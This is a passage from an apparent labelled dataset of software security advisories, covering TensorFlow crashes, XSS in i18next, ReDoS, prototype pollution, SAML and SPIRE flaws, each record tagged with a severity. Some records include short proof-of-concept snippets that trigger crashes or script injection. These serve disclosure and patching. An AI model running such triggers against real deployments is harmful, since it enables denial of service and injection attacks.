PyArrayDescr_to_TF_DataType(descr, out_tf_datatype);\n    ...\n  }\n```\n\nFor the tensor types involved in the above example, the `pyarray_type` is `NPY_VOID` but the `descr` field is such that `descr->field = NULL`. Then [`PyArrayDescr_to_TF_DataType`](https://github.com/tensorflow/tensorflow/blob/ff70c47a396ef1e3cb73c90513da4f5cb71bebba/tensorflow/python/lib/core/ndarray_tensor.cc#L72-L77) will trigger a null dereference:\n\n```cc\nStatus PyArrayDescr_to_TF_DataType(PyArray_Descr* descr,\n                                   TF_DataType* out_tf_datatype) {\n  PyObject* key;\n  PyObject* value;\n  Py_ssize_t pos = 0;\n  if (PyDict_Next(descr->fields, &pos, &key, &value)) {\n    ...\n  }\n}\n```\n\nThis is because the Python's `PyDict_Next` implementation would dereference the first argument.\n\n### Patches\nWe have patched the issue in GitHub commit [030af767d357d1b4088c4a25c72cb3906abac489](https://github.com/tensorflow/tensorflow/commit/030af767d357d1b4088c4a25c72cb3906abac489).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360 as well as Ye Zhang and Yakun Zhang of Baidu X-Team.", "text_raw": "Type confusion during tensor casts lead to dereferencing null pointers\n\n[Severity: LOW]\n\n### Impact\nCalling TF operations with tensors of non-numeric types when the operations expect numeric tensors result in null pointer dereferences.\n\nThere are multiple ways to reproduce this, listing a few examples here:\n\n```python\nimport tensorflow as tf\nimport numpy as np\ndata = tf.random.truncated_normal(shape=1,mean=np.float32(20.8739),stddev=779.973,dtype=20,seed=64)\n```\n\n```python\nimport tensorflow as tf\nimport numpy as np\ndata =\ntf.random.stateless_truncated_normal(shape=1,seed=[63,70],mean=np.float32(20.8739),stddev=779.973,dtype=20)\n```\n\n```python\nimport tensorflow as tf\nimport numpy as np\ndata = tf.one_hot(indices=[62,50],depth=136,on_value=np.int32(237),off_value=158,axis=856,dtype=20)\n```\n\n```python\nimport tensorflow as tf\nimport numpy as np\ndata = tf.range(start=np.int32(214),limit=660,delta=129,dtype=20)\n```\n\n```python\nimport tensorflow as tf\nimport numpy as np\ndata = tf.raw_ops.ResourceCountUpTo(resource=np.int32(30), limit=872, T=3)\n```\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\nwriter_array = np.array([1,2],dtype=np.int32)\nwriter_tensor = tf.convert_to_tensor(writer_array,dtype=tf.resource)\n```\n\nAll these examples and similar ones have the same behavior: the [conversion from Python array to C++ array](https://github.com/tensorflow/tensorflow/blob/ff70c47a396ef1e3cb73c90513da4f5cb71bebba/tensorflow/python/lib/core/ndarray_tensor.cc#L113-L169) is vulnerable to a type confusion:\n\n```cc\n  int pyarray_type = PyArray_TYPE(array);\n  PyArray_Descr* descr = PyArray_DESCR(array);\n  switch (pyarray_type) {\n    ...\n    case NPY_VOID:\n      // Quantized types are currently represented as custom struct types.\n      // PyArray_TYPE returns NPY_VOID for structs, and we should look into\n      // descr to derive the actual type.\n      // Direct feeds of certain types of ResourceHandles are represented as a\n      // custom struct type.\n      return PyArrayDescr_to_TF_DataType(descr, out_tf_datatype);\n    ...\n  }\n```\n\nFor the tensor types involved in the above example, the `pyarray_type` is `NPY_VOID` but the `descr` field is such that `descr->field = NULL`. Then [`PyArrayDescr_to_TF_DataType`](https://github.com/tensorflow/tensorflow/blob/ff70c47a396ef1e3cb73c90513da4f5cb71bebba/tensorflow/python/lib/core/ndarray_tensor.cc#L72-L77) will trigger a null dereference:\n\n```cc\nStatus PyArrayDescr_to_TF_DataType(PyArray_Descr* descr,\n                                   TF_DataType* out_tf_datatype) {\n  PyObject* key;\n  PyObject* value;\n  Py_ssize_t pos = 0;\n  if (PyDict_Next(descr->fields, &pos, &key, &value)) {\n    ...\n  }\n}\n```\n\nThis is because the Python's `PyDict_Next` implementation would dereference the first argument.\n\n### Patches\nWe have patched the issue in GitHub commit [030af767d357d1b4088c4a25c72cb3906abac489](https://github.com/tensorflow/tensorflow/commit/030af767d357d1b4088c4a25c72cb3906abac489).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360 as well as Ye Zhang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "cef53ba744ba1979dc97", "text": "RuboCop gem Insecure use of /tmp\n\nRuboCop 0.48.1 and earlier does not use /tmp in safe way, allowing local users to exploit this to tamper with cache files belonging to other users.", "text_raw": "RuboCop gem Insecure use of /tmp\n\n[Severity: LOW]\n\nRuboCop 0.48.1 and earlier does not use /tmp in safe way, allowing local users to exploit this to tamper with cache files belonging to other users.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2017-11-15", "split": "train"}
-{"id": "0016e87b216f23ed2e5c", "text": "Validation Bypass in paypal-ipn\n\nVersions 2.x.x and earlier of `paypal-ipn` are affected by a validation bypass vulnerability.\n\npaypal-ipn uses the `test_ipn` parameter (which is set by the PayPal IPN simulator) to determine if it should use the production PayPal site or the sandbox.\n\nA motivated attacker could craft a request string using the simulator to fool the application into entering the sandbox mode, potentially allowing purchases without valid payment.\n\n## Recommendation\n\nUpgrade to version 3.0.0 or later.", "text_raw": "Validation Bypass in paypal-ipn\n\n[Severity: MEDIUM]\n\nVersions 2.x.x and earlier of `paypal-ipn` are affected by a validation bypass vulnerability. \n\npaypal-ipn uses the `test_ipn` parameter (which is set by the PayPal IPN simulator) to determine if it should use the production PayPal site or the sandbox.\n\nA motivated attacker could craft a request string using the simulator to fool the application into entering the sandbox mode, potentially allowing purchases without valid payment.\n\n\n## Recommendation\n\nUpgrade to version 3.0.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "23c71dcc57fe189b93cd", "text": "Weave Net clusters susceptible to MitM attacks via IPv6 rogue router advertisements\n\n### Impact\nAn attacker able to run a process as root in a container is able to respond to DNS requests from the host and thereby insert themselves as a fake service.\n\nIn a cluster with an IPv4 internal network, if IPv6 is not totally disabled on the host (via ipv6.disable=1 on the kernel cmdline), it will be either unconfigured or configured on some interfaces, but it’s pretty likely that ipv6 forwarding is disabled, ie /proc/sys/net/ipv6/conf//forwarding == 0. Also by default, /proc/sys/net/ipv6/conf//accept_ra == 1. The combination of these 2 sysctls means that the host accepts router advertisements and configure the IPv6 stack using them.\n\nBy sending “rogue” router advertisements, an attacker can reconfigure the host to redirect part or all of the IPv6 traffic of the host to the attacker controlled container.\nEven if there was no IPv6 traffic before, if the DNS returns A (IPv4) and AAAA (IPv6) records, many HTTP libraries will try to connect via IPv6 first then fallback to IPv4, giving an opportunity to the attacker to respond.\nIf by chance you also have on the host a vulnerability like last year’s RCE in apt (CVE-2019-3462), you can now escalate to the host.\n\n### Patches\nWeave Net version 2.6.3 (to be released soon) will disable the accept_ra option on the veth devices that it creates.\n\n### Workarounds\nUsers should not run containers with CAP_NET_RAW capability.  This has been the advice from Weave Net for years.\nhttps://www.weave.works/docs/net/latest/kubernetes/kube-addon/#-securing-the-setup\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the Weave Net repo](https://github.com/weaveworks/weave/issues/new)\n* Join the <a href=\"https://slack.weave.works/\" target=\"_blank\">Weave Users Slack</a>.", "text_raw": "Weave Net clusters susceptible to MitM attacks via IPv6 rogue router advertisements\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker able to run a process as root in a container is able to respond to DNS requests from the host and thereby insert themselves as a fake service.\n\nIn a cluster with an IPv4 internal network, if IPv6 is not totally disabled on the host (via ipv6.disable=1 on the kernel cmdline), it will be either unconfigured or configured on some interfaces, but it’s pretty likely that ipv6 forwarding is disabled, ie /proc/sys/net/ipv6/conf//forwarding == 0. Also by default, /proc/sys/net/ipv6/conf//accept_ra == 1. The combination of these 2 sysctls means that the host accepts router advertisements and configure the IPv6 stack using them.\n\nBy sending “rogue” router advertisements, an attacker can reconfigure the host to redirect part or all of the IPv6 traffic of the host to the attacker controlled container.\nEven if there was no IPv6 traffic before, if the DNS returns A (IPv4) and AAAA (IPv6) records, many HTTP libraries will try to connect via IPv6 first then fallback to IPv4, giving an opportunity to the attacker to respond.\nIf by chance you also have on the host a vulnerability like last year’s RCE in apt (CVE-2019-3462), you can now escalate to the host.\n\n### Patches\nWeave Net version 2.6.3 (to be released soon) will disable the accept_ra option on the veth devices that it creates.\n\n### Workarounds\nUsers should not run containers with CAP_NET_RAW capability.  This has been the advice from Weave Net for years.\nhttps://www.weave.works/docs/net/latest/kubernetes/kube-addon/#-securing-the-setup\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the Weave Net repo](https://github.com/weaveworks/weave/issues/new)\n* Join the <a href=\"https://slack.weave.works/\" target=\"_blank\">Weave Users Slack</a>.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-27", "split": "train"}
-{"id": "14d190ae991dfbdd345c", "text": "Data races in libsbc\n\nAffected versions of this crate implements `Send` for `Decoder<R>` for any `R: Read`. This allows `Decoder<R>` to contain `R: !Send` and carry (move) it to another thread.\n\nThis can result in undefined behavior such as memory corruption from data race on `R`, or dropping `R = MutexGuard<_>` from a thread that didn't lock the mutex.\n\nThe flaw was corrected in commit a34d6e1 by adding trait bound `R: Send` to the `Send` impl for `Decoder<R>`.", "text_raw": "Data races in libsbc\n\n[Severity: HIGH]\n\nAffected versions of this crate implements `Send` for `Decoder<R>` for any `R: Read`. This allows `Decoder<R>` to contain `R: !Send` and carry (move) it to another thread.\n\nThis can result in undefined behavior such as memory corruption from data race on `R`, or dropping `R = MutexGuard<_>` from a thread that didn't lock the mutex.\n\nThe flaw was corrected in commit a34d6e1 by adding trait bound `R: Send` to the `Send` impl for `Decoder<R>`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "1fa178977738484b96aa", "text": "uap-core Regular Expression Denial of Service issue\n\nAn issue was discovered in regex.yaml (aka regexes.yaml) in UA-Parser UAP-Core before 0.6.0. A Regular Expression Denial of Service (ReDoS) issue allows remote attackers to overload a server by setting the User-Agent header in an HTTP(S) request to a value containing a long digit string. (The UAP-Core project contains the vulnerability, propagating to all implementations.)", "text_raw": "uap-core Regular Expression Denial of Service issue\n\n[Severity: MEDIUM]\n\nAn issue was discovered in regex.yaml (aka regexes.yaml) in UA-Parser UAP-Core before 0.6.0. A Regular Expression Denial of Service (ReDoS) issue allows remote attackers to overload a server by setting the User-Agent header in an HTTP(S) request to a value containing a long digit string. (The UAP-Core project contains the vulnerability, propagating to all implementations.)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-03-06", "split": "train"}
-{"id": "67a35714a765bbd54081", "text": "Subject Confirmation Method not validated in Saml2 Authentication Services for ASP.NET\n\n### Impact\nSaml2 tokens are usually used as bearer tokens - a caller that presents a token is assumed to be the subject of the token. There is also support in the Saml2 protocol for issuing tokens that is tied to a subject through other means, e.g. holder-of-key where possession of a private key must be proved.\nThe Sustainsys.Saml2 library incorrectly treats all incoming tokens as bearer tokens, even though they have another subject confirmation method specified. This could be used by an attacker that could get access to Saml2 tokens with another subject confirmation method than bearer. The attacker could then use such a tocken to create a log in session.\n\n### Patches\nVersion 1.0.2 and 2.7.0 are patched.\n\n### Workarounds\nEnsure that any IdentityProvider trusted by the Sustainsys.Saml2 SP only issues bearer tokens if the audience matches the Sustainsys.Saml2 SP.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Comment on #103\n* Email us at security@sustainsys.com if you think that there are further security issues.", "text_raw": "Subject Confirmation Method not validated in Saml2 Authentication Services for ASP.NET\n\n[Severity: MEDIUM]\n\n### Impact\nSaml2 tokens are usually used as bearer tokens - a caller that presents a token is assumed to be the subject of the token. There is also support in the Saml2 protocol for issuing tokens that is tied to a subject through other means, e.g. holder-of-key where possession of a private key must be proved.\nThe Sustainsys.Saml2 library incorrectly treats all incoming tokens as bearer tokens, even though they have another subject confirmation method specified. This could be used by an attacker that could get access to Saml2 tokens with another subject confirmation method than bearer. The attacker could then use such a tocken to create a log in session.\n\n### Patches\nVersion 1.0.2 and 2.7.0 are patched.\n\n### Workarounds\nEnsure that any IdentityProvider trusted by the Sustainsys.Saml2 SP only issues bearer tokens if the audience matches the Sustainsys.Saml2 SP.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Comment on #103\n* Email us at security@sustainsys.com if you think that there are further security issues.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-22", "split": "train"}
-{"id": "442e6806cd12867b400b", "text": "Legacy Node API Allows Impersonation in github.com/spiffe/spire/pkg/server/endpoints/node\n\n#### Summary\nIn SPIRE 0.8.1 through 0.8.4 and before versions 0.9.4, 0.10.2, 0.11.3 and 0.12.1, specially crafted requests to the FetchX509SVID RPC of SPIRE Server’s Legacy Node API (github.com/spiffe/spire/pkg/server/endpoints/node) can result in the possible issuance of an X.509 certificate with a URI SAN for a SPIFFE ID that the agent is not authorized to distribute. Proper controls are in place to require that the caller presents a valid agent certificate that is already authorized to issue at least one SPIFFE ID, and the requested SPIFFE ID belongs to the same trust domain, prior to being able to trigger this vulnerability. This issue has been fixed in SPIRE versions 0.8.5, 0.9.4, 0.10.2, 0.11.3 and 0.12.1.\n\n#### What are the changes introduced by the patched versions?\nThe changes introduced to address this issue are related to enforcing that the FetchX509SVID RPC of SPIRE Server’s Legacy Node API only issues X.509 certificates with SPIFFE IDs that the agent is authorized to distribute.\n\nThe patched version also includes a back-ported change that improves the handling of file descriptors related to workload attestation in SPIRE Agent.\n\nThere are no changes in the expected behavior of SPIRE.\n\n#### Should I upgrade SPIRE?\nAll SPIRE users running affected versions are advised to upgrade to the corresponding patched version.\n\n#### Workarounds\nNo workarounds have been identified for this vulnerability.", "text_raw": "Legacy Node API Allows Impersonation in github.com/spiffe/spire/pkg/server/endpoints/node\n\n[Severity: HIGH]\n\n#### Summary\nIn SPIRE 0.8.1 through 0.8.4 and before versions 0.9.4, 0.10.2, 0.11.3 and 0.12.1, specially crafted requests to the FetchX509SVID RPC of SPIRE Server’s Legacy Node API (github.com/spiffe/spire/pkg/server/endpoints/node) can result in the possible issuance of an X.509 certificate with a URI SAN for a SPIFFE ID that the agent is not authorized to distribute. Proper controls are in place to require that the caller presents a valid agent certificate that is already authorized to issue at least one SPIFFE ID, and the requested SPIFFE ID belongs to the same trust domain, prior to being able to trigger this vulnerability. This issue has been fixed in SPIRE versions 0.8.5, 0.9.4, 0.10.2, 0.11.3 and 0.12.1.\n\n#### What are the changes introduced by the patched versions?\nThe changes introduced to address this issue are related to enforcing that the FetchX509SVID RPC of SPIRE Server’s Legacy Node API only issues X.509 certificates with SPIFFE IDs that the agent is authorized to distribute.\n\nThe patched version also includes a back-ported change that improves the handling of file descriptors related to workload attestation in SPIRE Agent.\n\nThere are no changes in the expected behavior of SPIRE.\n\n#### Should I upgrade SPIRE?\nAll SPIRE users running affected versions are advised to upgrade to the corresponding patched version.\n\n#### Workarounds\nNo workarounds have been identified for this vulnerability.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "ccdcd3254681c0380afd", "text": "Cross-Site Scripting in i18next\n\nAffected versions of `i18next` allow untrusted user input to be injected into dictionary key names, resulting in a cross-site scripting vulnerability.\n\n## Proof of Concept\n```js\nvar init = i18n.init({debug: true}, function(){\n  var test = i18n.t('__firstName__ __lastName__', {\n        escapeInterpolation: true,\n        firstName: '__lastNameHTML__',\n        lastName: '<script>',\n  });\n  console.log(test);\n});\n// equals \"<script> &lt;script&gt;\"\n```\n\n## Recommendation\n\nUpdate to version 1.10.3 or later.", "text_raw": "Cross-Site Scripting in i18next\n\n[Severity: MEDIUM]\n\nAffected versions of `i18next` allow untrusted user input to be injected into dictionary key names, resulting in a cross-site scripting vulnerability.\n\n## Proof of Concept\n```js\nvar init = i18n.init({debug: true}, function(){\n  var test = i18n.t('__firstName__ __lastName__', {\n        escapeInterpolation: true,\n        firstName: '__lastNameHTML__',\n        lastName: '<script>',\n  });\n  console.log(test);\n});\n// equals \"<script> &lt;script&gt;\"\n```\n\n\n## Recommendation\n\nUpdate to version 1.10.3 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "93311ba2654fc3481cc4", "text": "Schneider Electric Pelco VideoXpert Privilege Escalations", "text_raw": "Schneider Electric Pelco VideoXpert Privilege Escalations\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-07-10", "split": "train"}
-{"id": "d74bf8f546660dffc68e", "text": "Jinjava calls getClass\n\nJinjava before 2.4.6 does not block the getClass method, related to com/hubspot/jinjava/el/ext/JinjavaBeanELResolver.java.", "text_raw": "Jinjava calls getClass\n\n[Severity: MEDIUM]\n\nJinjava before 2.4.6 does not block the getClass method, related to com/hubspot/jinjava/el/ext/JinjavaBeanELResolver.java.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "f51a91598a3970c436dc", "text": "Insufficient Session Expiration in @cyyynthia/tokenize\n\n### Impact\nA bug introduced in version 1.1.0 made Tokenize generate faulty tokens with NaN as a generation date. As a result, tokens would not properly expire and remain valid regardless of the `lastTokenReset` field.\n\n### Patches\nVersion 1.1.3 contains a patch that'll invalidate these faulty tokens and make new ones behave as expected.\n\n### Workarounds\nNone. Tokens do not hold the necessary information to perform invalidation anymore.\n\n### References\nPR #1\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/cyyynthia/tokenize](https://github.com/cyyynthia/tokenize)\n* Email us at [cynthia@cynthia.dev](mailto:cynthia@cynthia.dev)", "text_raw": "Insufficient Session Expiration in @cyyynthia/tokenize\n\n[Severity: HIGH]\n\n### Impact\nA bug introduced in version 1.1.0 made Tokenize generate faulty tokens with NaN as a generation date. As a result, tokens would not properly expire and remain valid regardless of the `lastTokenReset` field.\n\n### Patches\nVersion 1.1.3 contains a patch that'll invalidate these faulty tokens and make new ones behave as expected.\n\n### Workarounds\nNone. Tokens do not hold the necessary information to perform invalidation anymore.\n\n### References\nPR #1\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/cyyynthia/tokenize](https://github.com/cyyynthia/tokenize)\n* Email us at [cynthia@cynthia.dev](mailto:cynthia@cynthia.dev)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "b176d0ea5efb5dc4f6b6", "text": "Floating point exception in `SparseDenseCwiseDiv`\n\n### Impact\nThe implementation of `tf.raw_ops.SparseDenseCwiseDiv` is vulnerable to a division by 0 error:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\ntf.raw_ops.SparseDenseCwiseDiv( \n  sp_indices=np.array([[4]]),\n  sp_values=np.array([-400]),\n  sp_shape=np.array([647.]),\n  dense=np.array([0]))\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/a1bc56203f21a5a4995311825ffaba7a670d7747/tensorflow/core/kernels/sparse_dense_binary_op_shared.cc#L56) uses a common class for all binary operations but fails to treat the division by 0 case separately.\n\n### Patches\nWe have patched the issue in GitHub commit [d9204be9f49520cdaaeb2541d1dc5187b23f31d9](https://github.com/tensorflow/tensorflow/commit/d9204be9f49520cdaaeb2541d1dc5187b23f31d9).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Floating point exception in `SparseDenseCwiseDiv`\n\n[Severity: MEDIUM]\n\n### Impact\nThe implementation of `tf.raw_ops.SparseDenseCwiseDiv` is vulnerable to a division by 0 error:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\ntf.raw_ops.SparseDenseCwiseDiv( \n  sp_indices=np.array([[4]]),\n  sp_values=np.array([-400]),\n  sp_shape=np.array([647.]),\n  dense=np.array([0]))\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/a1bc56203f21a5a4995311825ffaba7a670d7747/tensorflow/core/kernels/sparse_dense_binary_op_shared.cc#L56) uses a common class for all binary operations but fails to treat the division by 0 case separately.\n\n### Patches\nWe have patched the issue in GitHub commit [d9204be9f49520cdaaeb2541d1dc5187b23f31d9](https://github.com/tensorflow/tensorflow/commit/d9204be9f49520cdaaeb2541d1dc5187b23f31d9).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "7f438912a47fb7c56d0d", "text": "Improper Input Validation in once_cell\n\nIf during the first dereference of Lazy the initialization function panics, subsequent dereferences will execute std::hints::unreachable_unchecked. Applications with panic = \"abort\" are not affected, as there will be no subsequent dereferences.", "text_raw": "Improper Input Validation in once_cell\n\n[Severity: HIGH]\n\nIf during the first dereference of Lazy the initialization function panics, subsequent dereferences will execute std::hints::unreachable_unchecked. Applications with panic = \"abort\" are not affected, as there will be no subsequent dereferences.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "7e2fffb191e3c25e82bc", "text": "Missing validation in shape inference for `Dequantize`\n\n### Impact\nThe shape inference code for `tf.raw_ops.Dequantize` has a vulnerability that could trigger a denial of service via a segfault if an attacker provides invalid arguments:\n\n```python\nimport tensorflow as tf\n\ntf.compat.v1.disable_v2_behavior()\ntf.raw_ops.Dequantize(\n  input_tensor = tf.constant(-10.0, dtype=tf.float32),\n  input_tensor = tf.cast(input_tensor, dtype=tf.quint8),\n  min_range = tf.constant([], shape=[0], dtype=tf.float32),\n  max_range = tf.constant([], shape=[0], dtype=tf.float32),\n  mode  = 'MIN_COMBINED',\n  narrow_range=False,\n  axis=-10,\n  dtype=tf.dtypes.float32)\n```\n\nThe shape inference [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/ops/array_ops.cc#L2999-L3014) uses `axis` to select between two different values for `minmax_rank` which is then used to retrieve tensor dimensions. However, code assumes that `axis` can be either `-1` or a value greater than `-1`, with no validation for the other values.\n\n### Patches\nWe have patched the issue in GitHub commit [da857cfa0fde8f79ad0afdbc94e88b5d4bbec764](https://github.com/tensorflow/tensorflow/commit/da857cfa0fde8f79ad0afdbc94e88b5d4bbec764).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security.", "text_raw": "Missing validation in shape inference for `Dequantize`\n\n[Severity: MEDIUM]\n\n### Impact\nThe shape inference code for `tf.raw_ops.Dequantize` has a vulnerability that could trigger a denial of service via a segfault if an attacker provides invalid arguments:\n\n```python\nimport tensorflow as tf\n\ntf.compat.v1.disable_v2_behavior()\ntf.raw_ops.Dequantize(\n  input_tensor = tf.constant(-10.0, dtype=tf.float32),\n  input_tensor = tf.cast(input_tensor, dtype=tf.quint8),\n  min_range = tf.constant([], shape=[0], dtype=tf.float32),\n  max_range = tf.constant([], shape=[0], dtype=tf.float32),\n  mode  = 'MIN_COMBINED',\n  narrow_range=False,\n  axis=-10,\n  dtype=tf.dtypes.float32)\n```\n\nThe shape inference [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/ops/array_ops.cc#L2999-L3014) uses `axis` to select between two different values for `minmax_rank` which is then used to retrieve tensor dimensions. However, code assumes that `axis` can be either `-1` or a value greater than `-1`, with no validation for the other values.\n\n### Patches\nWe have patched the issue in GitHub commit [da857cfa0fde8f79ad0afdbc94e88b5d4bbec764](https://github.com/tensorflow/tensorflow/commit/da857cfa0fde8f79ad0afdbc94e88b5d4bbec764).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e16411f5fca1cd2424a0", "text": "File Descriptor Leak Can Cause DoS Vulnerability in hapi\n\nVersions 2.0.x and 2.1.x of hapi are vulnerable to a denial of service attack via a file descriptor leak.\n\nWhen triggered repeatedly, this leak will cause the server to run out of file descriptors and the node process to die. The effort required to take down a server depends on the process file descriptor limit. No other side effects or exploits have been identified.\n\n## Recommendation\n\n- Please upgrade to version 2.2.x or above as soon as possible.", "text_raw": "File Descriptor Leak Can Cause DoS Vulnerability in hapi\n\n[Severity: HIGH]\n\nVersions 2.0.x and 2.1.x of hapi are vulnerable to a denial of service attack via a file descriptor leak. \n\nWhen triggered repeatedly, this leak will cause the server to run out of file descriptors and the node process to die. The effort required to take down a server depends on the process file descriptor limit. No other side effects or exploits have been identified.\n\n\n\n## Recommendation\n\n- Please upgrade to version 2.2.x or above as soon as possible.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "90b0f41ed2d7a630854e", "text": "Prototype Pollution in lodash.defaultsdeep\n\nVersions of `lodash.defaultsdeep` before 4.6.1 are vulnerable to Prototype Pollution. The function 'defaultsDeep' may allow a malicious user to modify the prototype of `Object` via `__proto__` causing the addition or modification of an existing property that will exist on all objects.\n\n## Recommendation\n\nUpdate to version 4.6.1 or later.", "text_raw": "Prototype Pollution in lodash.defaultsdeep\n\n[Severity: HIGH]\n\nVersions of `lodash.defaultsdeep` before 4.6.1 are vulnerable to Prototype Pollution. The function 'defaultsDeep' may allow a malicious user to modify the prototype of `Object` via `__proto__` causing the addition or modification of an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nUpdate to version 4.6.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "e69d6c1a8f3e9bf356b6", "text": "QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Cookie User Password Disclosure", "text_raw": "QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Cookie User Password Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2020-08-13", "split": "train"}
-{"id": "cf88a071cdad37ad961a", "text": "Division by zero in TFLite's implementation of `BatchToSpaceNd`\n\n### Impact\nThe implementation of the `BatchToSpaceNd` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/b5ed552fe55895aee8bd8b191f744a069957d18d/tensorflow/lite/kernels/batch_to_space_nd.cc#L81-L82):\n\n```cc\nTF_LITE_ENSURE_EQ(context, output_batch_size % block_shape[dim], 0);\noutput_batch_size = output_batch_size / block_shape[dim];\n```\n\nAn attacker can craft a model such that one dimension of the `block` input is 0. Hence, the corresponding value in `block_shape` is 0.\n\n### Patches\nWe have patched the issue in GitHub commit [2c74674348a4708ced58ad6eb1b23354df8ee044](https://github.com/tensorflow/tensorflow/commit/2c74674348a4708ced58ad6eb1b23354df8ee044).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Division by zero in TFLite's implementation of `BatchToSpaceNd`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of the `BatchToSpaceNd` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/b5ed552fe55895aee8bd8b191f744a069957d18d/tensorflow/lite/kernels/batch_to_space_nd.cc#L81-L82):\n\n```cc\nTF_LITE_ENSURE_EQ(context, output_batch_size % block_shape[dim], 0);\noutput_batch_size = output_batch_size / block_shape[dim];\n```\n\nAn attacker can craft a model such that one dimension of the `block` input is 0. Hence, the corresponding value in `block_shape` is 0.\n\n### Patches\nWe have patched 